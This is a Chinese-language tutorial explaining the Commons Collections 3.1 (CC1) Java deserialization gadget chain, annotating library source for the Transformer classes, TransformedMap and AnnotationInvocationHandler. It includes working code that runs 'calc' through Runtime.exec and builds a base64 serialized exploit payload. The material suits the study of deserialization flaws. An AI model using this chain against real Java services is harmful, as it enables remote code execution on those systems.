前置条件

JDK: JDK版本应该为8u71之前

存档地址: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

利用链: TransformedMap

引入依赖: commons-collections3.1

    <dependencies>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

    </dependencies>

TransformedMap调用链分析

CommonsCollections1链实际上是对几个Transformer类进行分析利用

Demo

先给出一个简单的demo, 运行触发calc.exe

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class Demo {
    public static void main(String[] args) throws Exception {
        // 数组的多态性:一个接口类型的数组可以包含该接口的所有实现类的实例。
        Transformer[] transformers = new Transformer[]{
                // 返回了一个Process对像
                new ConstantTransformer(Runtime.getRuntime()),
                // 调用exec方法
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        // 将上述两个转换器链接起来,形成一个转换链,以便后续按顺序执行每个转换器。
        // 构建转换链本身不会立即执行转换,只有在实际调用 transform 方法时才会执行链中的转换逻辑。
        // 如在 map 使用、迭代或序列化时存在transform方法调用进行值转换才会执行。
        // The Map put methods and Map.Entry setValue method are affected by this class.
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // 测试demo时使用chainedTransformer.transform(null);也可以触发利用链,实际利用中需要用到TransformedMap装饰器
        
        Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
        outerMap.put("key1","value1");
    }
}

接下来分析Demo构造链利用的接口和类:

Transformer接口

// 定义了一组方法,但不提供具体的实现。
package org.apache.commons.collections;

// 对传入对象进行某种处理,返回一个对象
public interface Transformer {
    Object transform(Object var1);
}

接口实现类 :

ConstantTransformer类

package org.apache.commons.collections.functors;

import java.io.Serializable;
import org.apache.commons.collections.Transformer;

/**
 * ConstantTransformer 是 Apache Commons Collections 库中的一个实现类,
 * 它实现了 Transformer 接口并且可序列化。
 * 该类用于返回一个固定的常量对象,无论输入是什么。
 */
public class ConstantTransformer implements Transformer, Serializable {
    
    // 序列化版本UID,用于确保序列化和反序列化的一致性。
    static final long serialVersionUID = 6374440726369055124L;
    
    // 提供一个空实例,用于当常量为 null 时复用,避免创建多个空对象。
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    
    // 存储要返回的常量对象。
    private final Object iConstant;

    /**
     * 获取一个 ConstantTransformer 实例。
     * 如果传入的常量为 null,则返回预定义的 NULL_INSTANCE,否则创建一个新的实例。
     *
     * @param constantToReturn 要返回的常量对象
     * @return ConstantTransformer 实例
     */
    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }

    /**
     * 构造函数,初始化要返回的常量对象。
     *
     * @param constantToReturn 要返回的常量对象
     */
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    /**
     * 实现 Transformer 接口的 transform 方法。
     * 无论输入对象是什么,始终返回预定义的常量对象。
     *
     * @param input 输入对象(在此方法中被忽略)
     * @return 预定义的常量对象
     */
    public Object transform(Object input) {
        return this.iConstant;
    }

    /**
     * 获取存储的常量对象。
     *
     * @return 预定义的常量对象
     */
    public Object getConstant() {
        return this.iConstant;
    }
}

我们关注其中的构造方法和transform方法实现 (在分析ChainedTransformer时会理解为什么关注transform方法)

在Demo中,对ConstantTransformer类传入 Runtime.getRuntime()后,调用transform方法将返回一个Runtime实例

    /**
     * 构造函数,初始化要返回的常量对象。
     *
     * @param constantToReturn 要返回的常量对象
     */
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    /**
     * 实现 Transformer 接口的 transform 方法。
     * 无论输入对象是什么,始终返回预定义的常量对象。
     *
     * @param input 输入对象(在此方法中被忽略)
     * @return 预定义的常量对象
     */
    public Object transform(Object input) {
        return this.iConstant;
    }

InvokerTransformer类

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

/**
 * InvokerTransformer 是 Apache Commons Collections 库中的一个实现类,
 * 它实现了 Transformer 接口并且可序列化。
 * 该类用于在运行时通过反射调用指定的方法。
 * 
 * 例如,可以通过 InvokerTransformer 调用一个对象的特定方法,
 * 并传递必要的参数,从而动态地改变对象的行为。
 */
public class InvokerTransformer implements Transformer, Serializable {
    
    // 序列化版本UID,用于确保序列化和反序列化的一致性。
    static final long serialVersionUID = -8653385846894047688L;
    
    // 要调用的方法名称。
    private final String iMethodName;
    
    // 方法的参数类型数组。
    private final Class[] iParamTypes;
    
    // 方法的参数值数组。
    private final Object[] iArgs;

    /**
     * 获取一个 InvokerTransformer 实例,仅指定方法名称。
     * 
     * @param methodName 要调用的方法名称,不能为空。
     * @return InvokerTransformer 实例。
     * @throws IllegalArgumentException 如果 methodName 为 null。
     */
    public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } else {
            return new InvokerTransformer(methodName);
        }
    }

    /**
     * 获取一个 InvokerTransformer 实例,指定方法名称、参数类型和参数值。
     * 
     * @param methodName 要调用的方法名称,不能为空。
     * @param paramTypes 方法参数的类型数组。
     * @param args 方法参数的值数组。
     * @return InvokerTransformer 实例。
     * @throws IllegalArgumentException 如果 methodName 为 null,或
     *         paramTypes 和 args 不匹配。
     */
    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        } 
        // 检查 paramTypes 和 args 是否匹配
        else if (paramTypes == null && args != null 
                || paramTypes != null && args == null 
                || paramTypes != null && args != null && paramTypes.length != args.length) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        }
        // 如果有参数类型且参数类型数组不为空
        else if (paramTypes != null && paramTypes.length != 0) {
            // 克隆参数类型和参数值数组以避免外部修改
            paramTypes = (Class[])paramTypes.clone();
            args = (Object[])args.clone();
            return new InvokerTransformer(methodName, paramTypes, args);
        }
        // 如果没有参数类型
        else {
            return new InvokerTransformer(methodName);
        }
    }

    /**
     * 构造函数,仅指定方法名称。
     * 适用于无参数的方法调用。
     * 
     * @param methodName 要调用的方法名称。
     */
    private InvokerTransformer(String methodName) {
        this.iMethodName = methodName;
        this.iParamTypes = null;
        this.iArgs = null;
    }

    /**
     * 构造函数,指定方法名称、参数类型和参数值。
     * 适用于有参数的方法调用。
     * 
     * @param methodName 要调用的方法名称。
     * @param paramTypes 方法参数的类型数组。
     * @param args 方法参数的值数组。
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    /**
     * 实现 Transformer 接口的 transform 方法。
     * 通过反射调用指定对象的指定方法,并传递参数。
     * 
     * @param input 要调用方法的目标对象。
     * @return 方法调用的结果。
     * @throws FunctorException 如果方法不存在、不可访问,或调用时发生异常。
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                // 获取输入对象的类
                Class cls = input.getClass();
                // 获取指定的方法对象
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                // 调用方法并返回结果
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                // 如果方法不存在,抛出 FunctorException 异常
                throw new FunctorException("InvokerTransformer: The method '" 
                    + this.iMethodName + "' on '" + input.getClass() 
                    + "' does not exist");
            } catch (IllegalAccessException var6) {
                // 如果方法不可访问,抛出 FunctorException 异常
                throw new FunctorException("InvokerTransformer: The method '" 
                    + this.iMethodName + "' on '" + input.getClass() 
                    + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                // 如果方法调用时发生异常,抛出 FunctorException 异常并包含原始异常
                throw new FunctorException("InvokerTransformer: The method '" 
                    + this.iMethodName + "' on '" + input.getClass() 
                    + "' threw an exception", var7);
            }
        }
    }
}

同样,关注其中的构造方法和transform方法实现

在Demo中,对InvokerTransformer类传入三个参数 exec , new Class[]{String.class} , new Object[]{"calc"} 后,调用transform方法将返回执行结果。

    /**
     * 构造函数,指定方法名称、参数类型和参数值。
     * 适用于有参数的方法调用。
     * 
     * @param methodName 要调用的方法名称。    ----exec
     * @param paramTypes 方法参数的类型数组。  ----new Class[]{String.class}
     * @param args 方法参数的值数组。          ----new Object[]{"calc"}
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    /**
     * 实现 Transformer 接口的 transform 方法。
     * 通过反射调用指定对象的指定方法,并传递参数。
     * 
     * @param input 要调用方法的目标对象。
     * @return 方法调用的结果。
     * @throws FunctorException 如果方法不存在、不可访问,或调用时发生异常。
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                // 获取输入对象的类
                Class cls = input.getClass();
                // 获取指定的方法对象
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                // 调用方法并返回结果
                return method.invoke(input, this.iArgs);
            } 
          // catch部分省略...
        }
    }
}

ChainedTransformer

package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;

/**
 * ChainedTransformer 是 Apache Commons Collections 库中的一个实现类,
 * 它实现了 Transformer 接口并且可序列化。
 * 该类用于将多个 Transformer 链接起来,按顺序依次执行每个转换器。
 * 通过 ChainedTransformer,可以组合多个转换逻辑,实现复杂的对象转换过程。
 *
 * 例如,可以将输入对象依次通过一系列转换器处理,每个转换器对对象进行特定的转换,
 * 最终得到转换后的结果。
 */
public class ChainedTransformer implements Transformer, Serializable {
    
    // 序列化版本UID,用于确保序列化和反序列化的一致性。
    static final long serialVersionUID = 3514945074733160196L;
    
    // 存储一系列 Transformer 的数组,这些 Transformer 将被按顺序执行。
    private final Transformer[] iTransformers;

    /**
     * 静态工厂方法,用于根据 Transformer 数组创建一个 ChainedTransformer 实例。
     *
     * @param transformers 要链接的 Transformer 数组,不能为空。
     * @return 一个新的 ChainedTransformer 实例。
     * @throws IllegalArgumentException 如果 transformers 数组中包含 null 元素。
     */
    public static Transformer getInstance(Transformer[] transformers) {
        // 验证 transformers 数组中是否有 null 元素,如果有则抛出异常。
        FunctorUtils.validate(transformers);
        
        // 如果 transformers 数组为空,则返回一个无操作的 Transformer 实例。
        if (transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            // 复制 transformers 数组,确保外部对原数组的修改不会影响此实例。
            transformers = FunctorUtils.copy(transformers);
            return new ChainedTransformer(transformers);
        }
    }

    /**
     * 静态工厂方法,用于根据 Transformer 集合创建一个 ChainedTransformer 实例。
     *
     * @param transformers 要链接的 Transformer 集合,不能为空。
     * @return 一个新的 ChainedTransformer 实例。
     * @throws IllegalArgumentException 如果 transformers 集合为 null 或包含 null 元素,
     *                                  或者 transformers 数组和 args 数组的长度不匹配。
     */
    public static Transformer getInstance(Collection transformers) {
        if (transformers == null) {
            throw new IllegalArgumentException("Transformer collection must not be null");
        } else if (transformers.size() == 0) {
            // 如果集合为空,则返回一个无操作的 Transformer 实例。
            return NOPTransformer.INSTANCE;
        } else {
            // 将集合转换为 Transformer 数组。
            Transformer[] cmds = new Transformer[transformers.size()];
            int i = 0;

            for (Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer) it.next()) {
                // 遍历集合,将每个 Transformer 添加到数组中。
            }

            // 验证 transformers 数组中是否有 null 元素,如果有则抛出异常。
            FunctorUtils.validate(cmds);
            return new ChainedTransformer(cmds);
        }
    }

    /**
     * 静态工厂方法,用于根据两个 Transformer 创建一个 ChainedTransformer 实例。
     *
     * @param transformer1 第一个 Transformer,不能为空。
     * @param transformer2 第二个 Transformer,不能为空。
     * @return 一个新的 ChainedTransformer 实例,包含 transformer1 和 transformer2。
     * @throws IllegalArgumentException 如果 transformer1 或 transformer2 为 null。
     */
    public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
        if (transformer1 != null && transformer2 != null) {
            // 创建一个包含两个 Transformer 的数组。
            Transformer[] transformers = new Transformer[]{transformer1, transformer2};
            return new ChainedTransformer(transformers);
        } else {
            throw new IllegalArgumentException("Transformers must not be null");
        }
    }

    /**
     * 构造函数,初始化 ChainedTransformer 实例。
     *
     * @param transformers 要链接的 Transformer 数组,不能为空。
     */
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    /**
     * 实现 Transformer 接口的 transform 方法。
     * 按照定义的顺序,依次执行每个 Transformer 对输入对象进行转换。
     *
     * @param object 要转换的输入对象。
     * @return 转换后的对象,经过所有 Transformer 处理后的最终结果。
     */
    public Object transform(Object object) {
        for (int i = 0; i < this.iTransformers.length; ++i) {
            // 依次应用每个 Transformer,更新 object 的值。
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }

    /**
     * 获取存储的 Transformer 数组。
     *
     * @return Transformer 数组,包含所有链接的 Transformer。
     */
    public Transformer[] getTransformers() {
        return this.iTransformers;
    }
}

继续关注构造方法和transform方法实现

在Demo中,传入转换器数组进行链式处理,一旦调用ChainedTransformer实例的transform方法,即可遍历更新调用数组中的各实例的transform方法,完成调用链。Demo截止ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 未触发实例

所以还需要后续的TransformedMap进行装饰。(或者如前面所描述可以直接chainedTransformer.transform(null);测试)

    /**
     * 构造函数,初始化 ChainedTransformer 实例。
     *
     * @param transformers 要链接的 Transformer 数组,不能为空。
     */
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    /**
     * 实现 Transformer 接口的 transform 方法。
     * 按照定义的顺序,依次执行每个 Transformer 对输入对象进行转换。
     *
     * @param object 要转换的输入对象。
     * @return 转换后的对象,经过所有 Transformer 处理后的最终结果。
     */
    public Object transform(Object object) {
        for (int i = 0; i < this.iTransformers.length; ++i) {
            // 依次应用每个 Transformer,更新 object 的值。
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }



TransformedMap类

package org.apache.commons.collections.map;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;
import org.apache.commons.collections.Transformer;

/**
 * TransformedMap 是 Apache Commons Collections 库中的一个实现类,
 * 它装饰(decorate)一个现有的 Map,并在插入键或值时应用转换器(Transformer)。
 * 通过使用 Transformer,可以在将键或值放入 Map 之前对其进行转换,
 * 或在从 Map 中获取值时对其进行转换。
 *
 * 此类实现了 Serializable 接口,允许其实例被序列化和反序列化。
 */
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    
    // 序列化版本UID,用于确保序列化和反序列化的一致性。
    private static final long serialVersionUID = 7023152376788900464L;
    
    // 用于转换键的 Transformer,可能为 null 表示不转换键。
    protected final Transformer keyTransformer;
    
    // 用于转换值的 Transformer,可能为 null 表示不转换值。
    protected final Transformer valueTransformer;

    /**
     * 静态工厂方法,用于创建一个装饰过的 TransformedMap。
     *
     * @param map 要装饰的原始 Map,不能为空。
     * @param keyTransformer 用于转换键的 Transformer,可以为 null。
     * @param valueTransformer 用于转换值的 Transformer,可以为 null。
     * @return 装饰过的 TransformedMap。
     */
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    /**
     * 构造函数,初始化 TransformedMap。
     *
     * @param map 要装饰的原始 Map,不能为空。
     * @param keyTransformer 用于转换键的 Transformer,可以为 null。
     * @param valueTransformer 用于转换值的 Transformer,可以为 null。
     */
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    /**
     * 自定义序列化方法,用于写入对象。
     *
     * @param out ObjectOutputStream 输出流。
     * @throws IOException 如果发生 I/O 错误。
     */
    private void writeObject(ObjectOutputStream out) throws IOException {
        // 使用默认的序列化机制序列化非 transient 字段。
        out.defaultWriteObject();
        // 序列化被装饰的原始 Map。
        out.writeObject(super.map);
    }

    /**
     * 自定义反序列化方法,用于读取对象。
     *
     * @param in ObjectInputStream 输入流。
     * @throws IOException 如果发生 I/O 错误。
     * @throws ClassNotFoundException 如果找不到类。
     */
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        // 使用默认的反序列化机制反序列化非 transient 字段。
        in.defaultReadObject();
        // 反序列化被装饰的原始 Map。
        super.map = (Map) in.readObject();
    }

    /**
     * 转换键对象的方法。如果 keyTransformer 不为 null,则应用转换器;否则返回原始键。
     *
     * @param object 原始键对象。
     * @return 转换后的键对象。
     */
    protected Object transformKey(Object object) {
        return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
    }

    /**
     * 转换值对象的方法。如果 valueTransformer 不为 null,则应用转换器;否则返回原始值。
     *
     * @param object 原始值对象。
     * @return 转换后的值对象。
     */
    protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

    /**
     * 转换整个 Map 的方法。遍历原始 Map 的所有条目,
     * 对每个键和值应用相应的转换器,并将结果放入新的 Map 中。
     *
     * @param map 原始 Map。
     * @return 转换后的新 Map。
     */
    protected Map transformMap(Map map) {
        // 创建一个新的 LinkedMap,容量与原始 Map 相同。
        Map result = new LinkedMap(map.size());
        // 获取原始 Map 的条目集合的迭代器。
        Iterator it = map.entrySet().iterator();

        // 遍历所有条目并应用转换器。
        while (it.hasNext()) {
            Map.Entry entry = (Map.Entry) it.next();
            // 将转换后的键和值放入结果 Map 中。
            result.put(this.transformKey(entry.getKey()), this.transformValue(entry.getValue()));
        }

        return result;
    }

    /**
     * 检查并转换要设置的新值的方法。应用 valueTransformer 转换新值。
     *
     * @param value 要设置的新值对象。
     * @return 转换后的新值对象。
     */
    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

    /**
     * 检查是否启用了值转换的方法。如果 valueTransformer 不为 null,则返回 true。
     *
     * @return 如果启用了值转换,则返回 true;否则返回 false。
     */
    protected boolean isSetValueChecking() {
        return this.valueTransformer != null;
    }

    /**
     * 重写 put 方法,在插入键和值之前应用转换器。
     *
     * @param key 要插入的键对象。
     * @param value 要插入的值对象。
     * @return 原 Map 中键对应的旧值。
     */
    public Object put(Object key, Object value) {
        // 转换键和对应的值。
        key = this.transformKey(key);
        value = this.transformValue(value);
        // 将转换后的键和值插入到原 Map 中。
        return this.getMap().put(key, value);
    }

    /**
     * 重写 putAll 方法,在批量插入键和值之前应用转换器。
     *
     * @param mapToCopy 要复制的 Map。
     */
    public void putAll(Map mapToCopy) {
        // 转换整个要复制的 Map。
        mapToCopy = this.transformMap(mapToCopy);
        // 将转换后的 Map 插入到原 Map 中。
        this.getMap().putAll(mapToCopy);
    }
}

如上所说目的是为了触发ChainedTransformer实例的transform方法用以启动调用链。我们在TransformedMap源码中搜索transform发现:

transformKey ,transformValue, checkSetValue三个方法存在transform调用。

    /**
     * 转换键对象的方法。如果 keyTransformer 不为 null,则应用转换器;否则返回原始键。
     *
     * @param object 原始键对象。
     * @return 转换后的键对象。
     */
    protected Object transformKey(Object object) {
        return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
    }

    /**
     * 转换值对象的方法。如果 valueTransformer 不为 null,则应用转换器;否则返回原始值。
     *
     * @param object 原始值对象。
     * @return 转换后的值对象。
     */
    protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }
    /**
     * 检查并转换要设置的新值的方法。应用 valueTransformer 转换新值。
     *
     * @param value 要设置的新值对象。
     * @return 转换后的新值对象。
     */
    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

// put 方法和 setValue 方法 (反序列化中会用到) 均能触发利用链

这里的利用我们只讨论Demo中put的调用过程。再次搜索三个方法,继续跟进,可以看到在put方法中value = this.transformValue(value);间接达到了 this.valueTransformer.transform(object); 效果。

    /**
     * 重写 put 方法,在插入键和值之前应用转换器。
     *
     * @param key 要插入的键对象。
     * @param value 要插入的值对象。
     * @return 原 Map 中键对应的旧值。
     */
    public Object put(Object key, Object value) {
        // 转换键和对应的值。
        key = this.transformKey(key);
        value = this.transformValue(value);
        // 将转换后的键和值插入到原 Map 中。
        return this.getMap().put(key, value);
    }

回到Demo: Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);

由上分析知道调用put方法,需要一个Map或Map子类实现了put方法的实例对象,decorate返回的是一个Map类型对象,根据decorate对参数的要求,以及后续对序列化时要求(即需要实现Serializable接口才能被序列化),选择HashMap实例作为第一个参数(同时HashMap的兼容性好,且为一个可变的 Map 实现)。第二个参数可置空,因为在上面分析中最终put方法里触发transformValue只和值有关。第三个参数即为将要通过transform转换成值的ChainedTransformer实例。

Demo利用链过程总结

TransformedMap.put --> TransformedMap.transformValue -->  ChainedTransformer.transform --> Transformer[] new ConstantTransformer(Runtime.getRuntime()  -->  Transformer[] new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}  

反序列化利用链

Demo构造链是本地手动触发,实际利用需要在反序列化过程自动触发命令执行。那么我们的构造链应该需要被序列化处理。

Runtime无法直接被序列化问题

java.lang.Runtime 类遵循 单例模式 。在整个 Java 虚拟机(JVM)生命周期内,只有一个 Runtime 实例存在。只能通过其提供的静态方法来获取该唯一实例。以及Runtime类没有实现序列化接口,导致序列化过程中直接使用Runtime.getRuntime不可行。

我们知道Class类实现了Serializable接口,那么可以通过Transformer + ChainedTransformer的链式调用进行反射达到相同效果

Transformer[] transformers = new Transformer[]{
                // 获取Runtime类的class对象
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                // getRuntime方法
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };

        // 创建ChainedTransformer对象
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        // 对map进行赋值
        innerMap.put("value", "aaa");
        // 创建TransformedMap对象
        Map outerMap = TransformedMap.decorate(innerMap,null, chainedTransformer);

AnnotationInvocationHandler类利用

我们需要找到一个可以用的类的readObject()方法,通过这个方法最终可以触发漏洞。

这个类是sun.reflect.annotation.AnnotationInvocationHandle

/**
 * AnnotationInvocationHandler类实现了InvocationHandler接口,用于动态代理注解。
 * 该类主要负责处理注解方法的调用,并在序列化和反序列化过程中维护注解的成员值。
 */
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    
    // 注解的类型
    private final Class<? extends Annotation> type;
    
    // 注解成员的值,键为成员名称,值为成员对应的值
    private final Map<String, Object> memberValues;
    
    // 缓存的注解成员方法
    private transient volatile Method[] memberMethods = null;

    /**
     * 构造方法,用于创建一个AnnotationInvocationHandler实例。
     * 
     * @param var1 注解的Class对象,必须是一个注解类型
     * @param var2 包含注解成员值的Map,键为成员名称,值为成员值
     * @throws AnnotationFormatError 如果传入的Class对象不是注解类型
     */
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        // 获取var1的所有接口
        Class[] var3 = var1.getInterfaces();
        // 检查var1是否为注解类型,并且仅实现了一个接口且该接口为Annotation.class
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            // 如果不是注解类型,则抛出格式错误异常
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

/**
* 中间方法省略......
*/
/**
 * 在反序列化时读取对象,并进行安全验证。
 * 
 * @param var1 ObjectInputStream对象
 * @throws IOException 如果发生IO异常
 * @throws ClassNotFoundException 如果类未找到
 * @throws InvalidObjectException 如果对象验证失败
 */
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    // 调用默认的反序列化方法,恢复对象的非transient字段
    var1.defaultReadObject();
    
    // 初始化AnnotationType变量,用于存储注解类型的内部表示
    AnnotationType var2 = null;

    try {
        // 获取注解类型的AnnotationType实例
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        // 如果获取AnnotationType实例时出现非法参数异常,说明序列化流中包含的不是注解类型
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    // 获取注解类型的成员类型映射,键为成员名称,值为成员类型Class对象
    Map var3 = var2.memberTypes();
    
    // 获取memberValues中的所有成员(键值对)的迭代器
    Iterator var4 = this.memberValues.entrySet().iterator();

    // 遍历所有的成员值,进行类型验证
    while(var4.hasNext()) {
        // 获取当前的成员键值对
        Map.Entry var5 = (Map.Entry)var4.next();
        
        // 获取成员的名称(键)
        String var6 = (String)var5.getKey();
        
        // 获取该成员对应的类型Class对象
        Class var7 = (Class)var3.get(var6);
        
        if (var7 != null) {
            // 获取成员的值
            Object var8 = var5.getValue();
            
            // 检查成员值是否与成员类型匹配,或者成员值是否是ExceptionProxy的实例
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                // 如果不匹配,则创建一个AnnotationTypeMismatchExceptionProxy对象,并设置相关成员
                var5.setValue(
                    (new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]"))
                    .setMember((Method)var2.members().get(var6))
                );
            }
        }
    }
}

要构造出一个可用的AnnotationInvocationHandler实例

跟踪构造方法,寻找可用传入参数:

     * @param var1 注解的Class对象,必须是一个注解类型
     * @param var2 包含注解成员值的Map,键为成员名称,值为成员值

查看可用注解
java-cc1-ano.png

由上面代码分析,注解中需要有一个方法。符合条件的有@Repeatable @Target

要想触发chainedTransformer.transformer回调,需要触发AnnotationInvocationHandler的setValue方法

最终构造如下:

        // 反射, 利用AnnotationInvocationHandler类的readObject方法触发transformer
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造器
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        // 创建AnnotationInvocationHandler实例 (此类中存在readObject方法重写触发transformer)
        Object handler = constructor.newInstance(Repeatable.class, outerMap);
        byte[] bytes = serialize(handler);
        // base64输出
        System.out.println(Base64.getEncoder().encodeToString(bytes));

setValue原因方法分析

setValue方法参考 https://xz.aliyun.com/t/12692?time__1311=GqGxuDRiqCwxlrzG77Yi%3DQK0ILO7DmuDpD#toc-7

国家一级保护废物